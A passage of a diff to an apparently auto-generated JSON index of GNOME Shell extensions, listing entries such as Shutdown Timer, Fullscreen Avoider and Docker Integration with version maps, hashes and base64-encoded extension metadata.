+    "46": {"version": "13", "sha256": "05aaan3dymcl3p012zf9hgpa885qnmaq2pmxpa8b5pw2jsl341yh", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk9yZ2FuaXplIHRoZSBpdGVtcyBvZiB0aGUgdG9wIChtZW51KWJhci4iLAogICJuYW1lIjogIlRvcCBCYXIgT3JnYW5pemVyIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnRvcC1iYXItb3JnYW5pemVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL2p1bmUvdG9wLWJhci1vcmdhbml6ZXIiLAogICJ1dWlkIjogInRvcC1iYXItb3JnYW5pemVyQGp1bGlhbi5nc2UuanN0cy54eXoiLAogICJ2ZXJzaW9uIjogMTMKfQ=="},
+    "47": {"version": "13", "sha256": "05aaan3dymcl3p012zf9hgpa885qnmaq2pmxpa8b5pw2jsl341yh", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk9yZ2FuaXplIHRoZSBpdGVtcyBvZiB0aGUgdG9wIChtZW51KWJhci4iLAogICJuYW1lIjogIlRvcCBCYXIgT3JnYW5pemVyIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnRvcC1iYXItb3JnYW5pemVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL2p1bmUvdG9wLWJhci1vcmdhbml6ZXIiLAogICJ1dWlkIjogInRvcC1iYXItb3JnYW5pemVyQGp1bGlhbi5nc2UuanN0cy54eXoiLAogICJ2ZXJzaW9uIjogMTMKfQ=="},
+    "48": {"version": "13", "sha256": "05aaan3dymcl3p012zf9hgpa885qnmaq2pmxpa8b5pw2jsl341yh", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk9yZ2FuaXplIHRoZSBpdGVtcyBvZiB0aGUgdG9wIChtZW51KWJhci4iLAogICJuYW1lIjogIlRvcCBCYXIgT3JnYW5pemVyIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnRvcC1iYXItb3JnYW5pemVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL2p1bmUvdG9wLWJhci1vcmdhbml6ZXIiLAogICJ1dWlkIjogInRvcC1iYXItb3JnYW5pemVyQGp1bGlhbi5nc2UuanN0cy54eXoiLAogICJ2ZXJzaW9uIjogMTMKfQ=="}
   }}
 , {"uuid": "fullscreen-avoider@noobsai.github.com", "name": "Fullscreen Avoider", "pname": "fullscreen-avoider", "description": "Moves the top panel to the secondary monitor if the primary is in fullscreen", "link": "https://extensions.gnome.org/extension/4362/fullscreen-avoider/", "shell_version_map": {
     "38": {"version": "4", "sha256": "10vm28p2xpvwhzyjw1yfpgsbhahg1w673n73kq9ndx5vlnf9fji9", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1vdmVzIHRoZSB0b3AgcGFuZWwgdG8gdGhlIHNlY29uZGFyeSBtb25pdG9yIGlmIHRoZSBwcmltYXJ5IGlzIGluIGZ1bGxzY3JlZW4iLAogICJleHRlbnNpb24taWQiOiAiZnVsbHNjcmVlbi1hdm9pZGVyIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgIm5hbWUiOiAiRnVsbHNjcmVlbiBBdm9pZGVyIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmZ1bGxzY3JlZW4tYXZvaWRlciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiMy4zOCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL05vb2JzYWkvZnVsbHNjcmVlbi1hdm9pZGVyIiwKICAidXVpZCI6ICJmdWxsc2NyZWVuLWF2b2lkZXJAbm9vYnNhaS5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDQKfQ=="},
@@ -4204,10 +4213,10 @@
     "42": {"version": "31", "sha256": "1w0l81g1l21f9f6ga53dlp7y1wg5s1nxz67y990ywh9sp0n4dkac", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNodXRkb3duL3JlYm9vdC9zdXNwZW5kIHRoZSBkZXZpY2UgYWZ0ZXIgYSBzcGVjaWZpYyB0aW1lIG9yIHdha2Ugd2l0aCBhIHJ0YyBhbGFybS5cblxuVGhlIHNjcmVlbi1zYXZlciB3aWxsIG5vdCBpbnRlcnJ1cHQgdGhlIHRpbWVyLiBBIHByaXZpbGVnZWQgY29udHJvbCBzY3JpcHQgbWF5IGJlIGluc3RhbGxlZCB0byBjb250cm9sIHNodXRkb3duIGFuZCBydGN3YWtlIGFzIHVzZXIuIEFkZGl0aW9uYWxseSwgYSBjaGVjayBjb21tYW5kIG1heSBiZSBjb25maWd1cmVkIGJlZm9yZSBzaHV0ZG93bi4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJTaHV0ZG93blRpbWVyIiwKICAibmFtZSI6ICJTaHV0ZG93biBUaW1lciIsCiAgInNlc3Npb24tbW9kZXMiOiBbCiAgICAidXNlciIsCiAgICAidW5sb2NrLWRpYWxvZyIKICBdLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuc2h1dGRvd250aW1lci1kZW1pbmRlciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDIiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9EZW1pbmRlci9TaHV0ZG93blRpbWVyIiwKICAidXVpZCI6ICJTaHV0ZG93blRpbWVyQGRlbWluZGVyIiwKICAidmVyc2lvbiI6IDMxCn0="},
     "43": {"version": "44", "sha256": "1r3c87nrpbf93b5clwm54f85hnp3xpbyi9faliq7p4l69w6hfkpk", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNodXRkb3duL3JlYm9vdC9zdXNwZW5kIHRoZSBkZXZpY2UgYWZ0ZXIgYSBzcGVjaWZpYyB0aW1lIG9yIHdha2Ugd2l0aCBhIHJ0YyBhbGFybS5cblxuVGhlIHNjcmVlbi1zYXZlciB3aWxsIG5vdCBpbnRlcnJ1cHQgdGhlIHRpbWVyLiBBIHByaXZpbGVnZWQgY29udHJvbCBzY3JpcHQgbWF5IGJlIGluc3RhbGxlZCB0byBjb250cm9sIHNodXRkb3duIGFuZCBydGN3YWtlIGFzIHVzZXIuIEFkZGl0aW9uYWxseSwgYSBjaGVjayBjb21tYW5kIG1heSBiZSBjb25maWd1cmVkIGJlZm9yZSBzaHV0ZG93bi4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJTaHV0ZG93blRpbWVyIiwKICAibmFtZSI6ICJTaHV0ZG93biBUaW1lciIsCiAgInNlc3Npb24tbW9kZXMiOiBbCiAgICAidW5sb2NrLWRpYWxvZyIsCiAgICAidXNlciIKICBdLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuc2h1dGRvd250aW1lci1kZW1pbmRlciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRGVtaW5kZXIvU2h1dGRvd25UaW1lciIsCiAgInV1aWQiOiAiU2h1dGRvd25UaW1lckBkZW1pbmRlciIsCiAgInZlcnNpb24iOiA0NAp9"},
     "44": {"version": "44", "sha256": "1r3c87nrpbf93b5clwm54f85hnp3xpbyi9faliq7p4l69w6hfkpk", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNodXRkb3duL3JlYm9vdC9zdXNwZW5kIHRoZSBkZXZpY2UgYWZ0ZXIgYSBzcGVjaWZpYyB0aW1lIG9yIHdha2Ugd2l0aCBhIHJ0YyBhbGFybS5cblxuVGhlIHNjcmVlbi1zYXZlciB3aWxsIG5vdCBpbnRlcnJ1cHQgdGhlIHRpbWVyLiBBIHByaXZpbGVnZWQgY29udHJvbCBzY3JpcHQgbWF5IGJlIGluc3RhbGxlZCB0byBjb250cm9sIHNodXRkb3duIGFuZCBydGN3YWtlIGFzIHVzZXIuIEFkZGl0aW9uYWxseSwgYSBjaGVjayBjb21tYW5kIG1heSBiZSBjb25maWd1cmVkIGJlZm9yZSBzaHV0ZG93bi4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJTaHV0ZG93blRpbWVyIiwKICAibmFtZSI6ICJTaHV0ZG93biBUaW1lciIsCiAgInNlc3Npb24tbW9kZXMiOiBbCiAgICAidW5sb2NrLWRpYWxvZyIsCiAgICAidXNlciIKICBdLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuc2h1dGRvd250aW1lci1kZW1pbmRlciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRGVtaW5kZXIvU2h1dGRvd25UaW1lciIsCiAgInV1aWQiOiAiU2h1dGRvd25UaW1lckBkZW1pbmRlciIsCiAgInZlcnNpb24iOiA0NAp9"},
-    "45": {"version": "50", "sha256": "1kcbr3jhzdsz5lwcf9yc0dyann81vzx89kxal660znxyyx5bdqzn", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNodXRkb3duL3JlYm9vdC9zdXNwZW5kIHRoZSBkZXZpY2UgYWZ0ZXIgYSBzcGVjaWZpYyB0aW1lIG9yIHdha2Ugd2l0aCBhIHJ0YyBhbGFybS5cblxuVGhlIHNjcmVlbi1zYXZlciB3aWxsIG5vdCBpbnRlcnJ1cHQgdGhlIHRpbWVyLiBBIHByaXZpbGVnZWQgY29udHJvbCBzY3JpcHQgbWF5IGJlIGluc3RhbGxlZCB0byBjb250cm9sIHNodXRkb3duIGFuZCBydGN3YWtlIGFzIHVzZXIuIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiU2h1dGRvd25UaW1lciIsCiAgIm5hbWUiOiAiU2h1dGRvd24gVGltZXIiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNodXRkb3dudGltZXItZGVtaW5kZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRGVtaW5kZXIvU2h1dGRvd25UaW1lciIsCiAgInV1aWQiOiAiU2h1dGRvd25UaW1lckBkZW1pbmRlciIsCiAgInZlcnNpb24iOiA1MAp9"},
-    "46": {"version": "50", "sha256": "1kcbr3jhzdsz5lwcf9yc0dyann81vzx89kxal660znxyyx5bdqzn", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNodXRkb3duL3JlYm9vdC9zdXNwZW5kIHRoZSBkZXZpY2UgYWZ0ZXIgYSBzcGVjaWZpYyB0aW1lIG9yIHdha2Ugd2l0aCBhIHJ0YyBhbGFybS5cblxuVGhlIHNjcmVlbi1zYXZlciB3aWxsIG5vdCBpbnRlcnJ1cHQgdGhlIHRpbWVyLiBBIHByaXZpbGVnZWQgY29udHJvbCBzY3JpcHQgbWF5IGJlIGluc3RhbGxlZCB0byBjb250cm9sIHNodXRkb3duIGFuZCBydGN3YWtlIGFzIHVzZXIuIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiU2h1dGRvd25UaW1lciIsCiAgIm5hbWUiOiAiU2h1dGRvd24gVGltZXIiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNodXRkb3dudGltZXItZGVtaW5kZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRGVtaW5kZXIvU2h1dGRvd25UaW1lciIsCiAgInV1aWQiOiAiU2h1dGRvd25UaW1lckBkZW1pbmRlciIsCiAgInZlcnNpb24iOiA1MAp9"},
-    "47": {"version": "50", "sha256": "1kcbr3jhzdsz5lwcf9yc0dyann81vzx89kxal660znxyyx5bdqzn", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNodXRkb3duL3JlYm9vdC9zdXNwZW5kIHRoZSBkZXZpY2UgYWZ0ZXIgYSBzcGVjaWZpYyB0aW1lIG9yIHdha2Ugd2l0aCBhIHJ0YyBhbGFybS5cblxuVGhlIHNjcmVlbi1zYXZlciB3aWxsIG5vdCBpbnRlcnJ1cHQgdGhlIHRpbWVyLiBBIHByaXZpbGVnZWQgY29udHJvbCBzY3JpcHQgbWF5IGJlIGluc3RhbGxlZCB0byBjb250cm9sIHNodXRkb3duIGFuZCBydGN3YWtlIGFzIHVzZXIuIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiU2h1dGRvd25UaW1lciIsCiAgIm5hbWUiOiAiU2h1dGRvd24gVGltZXIiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNodXRkb3dudGltZXItZGVtaW5kZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRGVtaW5kZXIvU2h1dGRvd25UaW1lciIsCiAgInV1aWQiOiAiU2h1dGRvd25UaW1lckBkZW1pbmRlciIsCiAgInZlcnNpb24iOiA1MAp9"},
-    "48": {"version": "50", "sha256": "1kcbr3jhzdsz5lwcf9yc0dyann81vzx89kxal660znxyyx5bdqzn", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNodXRkb3duL3JlYm9vdC9zdXNwZW5kIHRoZSBkZXZpY2UgYWZ0ZXIgYSBzcGVjaWZpYyB0aW1lIG9yIHdha2Ugd2l0aCBhIHJ0YyBhbGFybS5cblxuVGhlIHNjcmVlbi1zYXZlciB3aWxsIG5vdCBpbnRlcnJ1cHQgdGhlIHRpbWVyLiBBIHByaXZpbGVnZWQgY29udHJvbCBzY3JpcHQgbWF5IGJlIGluc3RhbGxlZCB0byBjb250cm9sIHNodXRkb3duIGFuZCBydGN3YWtlIGFzIHVzZXIuIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiU2h1dGRvd25UaW1lciIsCiAgIm5hbWUiOiAiU2h1dGRvd24gVGltZXIiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNodXRkb3dudGltZXItZGVtaW5kZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRGVtaW5kZXIvU2h1dGRvd25UaW1lciIsCiAgInV1aWQiOiAiU2h1dGRvd25UaW1lckBkZW1pbmRlciIsCiAgInZlcnNpb24iOiA1MAp9"}
+    "45": {"version": "51", "sha256": "09f8x20szqcmbkg2fyj1k4llh73x7ngxzbhwv77qf7xx0hi7c9nm", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNodXRkb3duL3JlYm9vdC9zdXNwZW5kIHRoZSBkZXZpY2UgYWZ0ZXIgYSBzcGVjaWZpYyB0aW1lIG9yIHdha2Ugd2l0aCBhIHJ0YyBhbGFybS5cblxuVGhlIHNjcmVlbi1zYXZlciB3aWxsIG5vdCBpbnRlcnJ1cHQgdGhlIHRpbWVyLiBBIHByaXZpbGVnZWQgY29udHJvbCBzY3JpcHQgbWF5IGJlIGluc3RhbGxlZCB0byBjb250cm9sIHNodXRkb3duIGFuZCBydGN3YWtlIGFzIHVzZXIuIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiU2h1dGRvd25UaW1lciIsCiAgIm5hbWUiOiAiU2h1dGRvd24gVGltZXIiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNodXRkb3dudGltZXItZGVtaW5kZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRGVtaW5kZXIvU2h1dGRvd25UaW1lciIsCiAgInV1aWQiOiAiU2h1dGRvd25UaW1lckBkZW1pbmRlciIsCiAgInZlcnNpb24iOiA1MQp9"},
+    "46": {"version": "51", "sha256": "09f8x20szqcmbkg2fyj1k4llh73x7ngxzbhwv77qf7xx0hi7c9nm", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNodXRkb3duL3JlYm9vdC9zdXNwZW5kIHRoZSBkZXZpY2UgYWZ0ZXIgYSBzcGVjaWZpYyB0aW1lIG9yIHdha2Ugd2l0aCBhIHJ0YyBhbGFybS5cblxuVGhlIHNjcmVlbi1zYXZlciB3aWxsIG5vdCBpbnRlcnJ1cHQgdGhlIHRpbWVyLiBBIHByaXZpbGVnZWQgY29udHJvbCBzY3JpcHQgbWF5IGJlIGluc3RhbGxlZCB0byBjb250cm9sIHNodXRkb3duIGFuZCBydGN3YWtlIGFzIHVzZXIuIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiU2h1dGRvd25UaW1lciIsCiAgIm5hbWUiOiAiU2h1dGRvd24gVGltZXIiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNodXRkb3dudGltZXItZGVtaW5kZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRGVtaW5kZXIvU2h1dGRvd25UaW1lciIsCiAgInV1aWQiOiAiU2h1dGRvd25UaW1lckBkZW1pbmRlciIsCiAgInZlcnNpb24iOiA1MQp9"},
+    "47": {"version": "51", "sha256": "09f8x20szqcmbkg2fyj1k4llh73x7ngxzbhwv77qf7xx0hi7c9nm", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNodXRkb3duL3JlYm9vdC9zdXNwZW5kIHRoZSBkZXZpY2UgYWZ0ZXIgYSBzcGVjaWZpYyB0aW1lIG9yIHdha2Ugd2l0aCBhIHJ0YyBhbGFybS5cblxuVGhlIHNjcmVlbi1zYXZlciB3aWxsIG5vdCBpbnRlcnJ1cHQgdGhlIHRpbWVyLiBBIHByaXZpbGVnZWQgY29udHJvbCBzY3JpcHQgbWF5IGJlIGluc3RhbGxlZCB0byBjb250cm9sIHNodXRkb3duIGFuZCBydGN3YWtlIGFzIHVzZXIuIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiU2h1dGRvd25UaW1lciIsCiAgIm5hbWUiOiAiU2h1dGRvd24gVGltZXIiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNodXRkb3dudGltZXItZGVtaW5kZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRGVtaW5kZXIvU2h1dGRvd25UaW1lciIsCiAgInV1aWQiOiAiU2h1dGRvd25UaW1lckBkZW1pbmRlciIsCiAgInZlcnNpb24iOiA1MQp9"},
+    "48": {"version": "51", "sha256": "09f8x20szqcmbkg2fyj1k4llh73x7ngxzbhwv77qf7xx0hi7c9nm", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNodXRkb3duL3JlYm9vdC9zdXNwZW5kIHRoZSBkZXZpY2UgYWZ0ZXIgYSBzcGVjaWZpYyB0aW1lIG9yIHdha2Ugd2l0aCBhIHJ0YyBhbGFybS5cblxuVGhlIHNjcmVlbi1zYXZlciB3aWxsIG5vdCBpbnRlcnJ1cHQgdGhlIHRpbWVyLiBBIHByaXZpbGVnZWQgY29udHJvbCBzY3JpcHQgbWF5IGJlIGluc3RhbGxlZCB0byBjb250cm9sIHNodXRkb3duIGFuZCBydGN3YWtlIGFzIHVzZXIuIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiU2h1dGRvd25UaW1lciIsCiAgIm5hbWUiOiAiU2h1dGRvd24gVGltZXIiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNodXRkb3dudGltZXItZGVtaW5kZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRGVtaW5kZXIvU2h1dGRvd25UaW1lciIsCiAgInV1aWQiOiAiU2h1dGRvd25UaW1lckBkZW1pbmRlciIsCiAgInZlcnNpb24iOiA1MQp9"}
   }}
 , {"uuid": "docker_status2@gpouilloux", "name": "Docker Integration", "pname": "docker-integration", "description": "A status menu for managing docker containers.", "link": "https://extensions.gnome.org/extension/4374/docker-integration/", "shell_version_map": {
     "40": {"version": "1", "sha256": "1ia763h3wbc3d3p9ddb1b9rg5f486y5x3m2k4pblq9f9ca9cjrdy", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc3RhdHVzIG1lbnUgZm9yIG1hbmFnaW5nIGRvY2tlciBjb250YWluZXJzLiIsCiAgIm5hbWUiOiAiRG9ja2VyIEludGVncmF0aW9uIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICIzLjE0IiwKICAgICIzLjE2IiwKICAgICIzLjE4IiwKICAgICIzLjIwIiwKICAgICIzLjIyIiwKICAgICIzLjI0IiwKICAgICIzLjI2IiwKICAgICIzLjI4IiwKICAgICIzLjMwIiwKICAgICIzLjM0IiwKICAgICIzLjMyIiwKICAgICIzLjM2IiwKICAgICI0MC4wIgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZ3BvdWlsbG91eC9nbm9tZS1zaGVsbC1leHRlbnNpb24tZG9ja2VyIiwKICAidXVpZCI6ICJkb2NrZXJfc3RhdHVzMkBncG91aWxsb3V4IiwKICAidmVyc2lvbiI6IDEKfQ=="}
@@ -4603,9 +4612,10 @@
     "42": {"version": "10", "sha256": "18cs5lix4bws201vqbcrgv0icc57njqp85f66k75sqlai7jqxawf", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNpbXVsYXRlcyBzd2l0Y2hpbmcgdGhlIHdvcmtzcGFjZSBvbiB0aGUgYWN0aXZlIG1vbml0b3Igb25seS4gQ3RybCtBbHQrcSBzd2l0Y2hlcyB0byB0aGUgcHJldmlvdXMgd29ya3NwYWNlLCBDdHJsK0FsdCthIHN3aXRjaGVzIHRvIHRoZSBuZXh0IiwKICAibmFtZSI6ICJTd2l0Y2ggd29ya3NwYWNlcyBvbiBhY3RpdmUgbW9uaXRvciIsCiAgIm9yaWdpbmFsLWF1dGhvcnMiOiAiZGFyb3NtaWNAZ21haWwuY29tIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNpbXVsYXRlLXN3aXRjaGluZy13b3Jrc3BhY2VzLW9uLWFjdGl2ZS1tb25pdG9yIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICIzLjM2IiwKICAgICIzLjM4IiwKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9taWNoZWxlZGFyb3MvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLXNpbXVsYXRlLXN3aXRjaGluZy13b3Jrc3BhY2VzLW9uLWFjdGl2ZS1tb25pdG9yIiwKICAidXVpZCI6ICJzaW11bGF0ZS1zd2l0Y2hpbmctd29ya3NwYWNlcy1vbi1hY3RpdmUtbW9uaXRvckBtaWNoZWxlZGFyb3MuY29tIiwKICAidmVyc2lvbiI6IDEwCn0="},
     "43": {"version": "10", "sha256": "18cs5lix4bws201vqbcrgv0icc57njqp85f66k75sqlai7jqxawf", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNpbXVsYXRlcyBzd2l0Y2hpbmcgdGhlIHdvcmtzcGFjZSBvbiB0aGUgYWN0aXZlIG1vbml0b3Igb25seS4gQ3RybCtBbHQrcSBzd2l0Y2hlcyB0byB0aGUgcHJldmlvdXMgd29ya3NwYWNlLCBDdHJsK0FsdCthIHN3aXRjaGVzIHRvIHRoZSBuZXh0IiwKICAibmFtZSI6ICJTd2l0Y2ggd29ya3NwYWNlcyBvbiBhY3RpdmUgbW9uaXRvciIsCiAgIm9yaWdpbmFsLWF1dGhvcnMiOiAiZGFyb3NtaWNAZ21haWwuY29tIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNpbXVsYXRlLXN3aXRjaGluZy13b3Jrc3BhY2VzLW9uLWFjdGl2ZS1tb25pdG9yIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICIzLjM2IiwKICAgI